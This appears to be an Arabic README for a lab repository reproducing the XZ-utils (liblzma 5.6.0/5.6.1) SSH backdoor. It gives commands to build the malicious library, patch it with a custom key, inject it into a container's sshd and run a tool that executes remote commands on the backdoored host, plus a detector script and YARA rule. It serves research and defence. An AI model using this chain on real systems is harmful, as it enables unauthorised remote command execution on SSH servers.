
ثغرة باب خلفي في XZ موضحة بالتفاصيل
يحلل هذا المشروع الباب الخلفي البارز المكتشف في xz-utils (liblzma)، والذي يؤثر على الإصدارين 5.6.0 و 5.6.1. استهدف الكود الخبيث الذي تم إدخاله في نظام بناء المنبع مصادقة SSH عن طريق تعديل كيفية تفاعل sshd مع مكتبة ضغط LZMA في وقت التشغيل.
⚠️ هذا المشروع لأغراض البحث التعليمي والدفاعي فقط.
استنساخ هذا المستودع
git clone https://github.com/valeriot30/cve-2024-3094
انتقل إلى الدليل
cd cve-2024-3094
تشغيل حاوية docker
docker build -t fedora-dev .
docker run --privileged -it --rm -p 2222:22 fedora-dev
الحصول على نسخة ضارة من المكتبة
cd ~
git clone https://github.com/thesamesam/xz-archive.git
cd xz-archive/5.6/ # The vulnerable version ( it works as well with 5.6.1 )
tar xzf xz-5.6.0.tar.gz
mv xz-5.6.0 ~
تصدير هدف البناء
export RPM_ARCH=$(uname -m)
تجميع المكتبة الضارة
cd ~
cd ./xz-5.6.0/
./configure
make -j 8
نسخ SO الضار إلى الخارج:
cp ./src/liblzma/.libs/liblzma.so.5.6.0 ~
استنساخ المستودع مرة أخرى داخل الحاوية
git clone https://github.com/valeriot30/cve-2024-3094
تطبيق التصحيح على مكتبة liblzma بمفتاح مخصص
python3 cve-2024-3094/patch.py liblzma.so.5.6.0
ربط المكتبة الضارة في النظام
sh cve-2024-3094/inject.sh
تشغيل sshd المرتبط بالمكتبة الضارة
env -i LANG=C /usr/sbin/sshd -D &
استنساخ هذا المستودع
git clone https://github.com/valeriot30/cve-2024-3094
انتقل إلى الدليل
cd cve-2024-3094
تجميع أداة GO
go build
استخدم الأداة بإدخال عنوان IP للجهاز الضعيف والأمر المراد تنفيذه
./bot -addr 127.0.0.2:2222 -cmd 'sleep 60'
تشغيل الكاشف
sh detector.sh
استخدام قواعد مطابقة yara
yara rule.yar ../liblzma.so.5.6.0 -s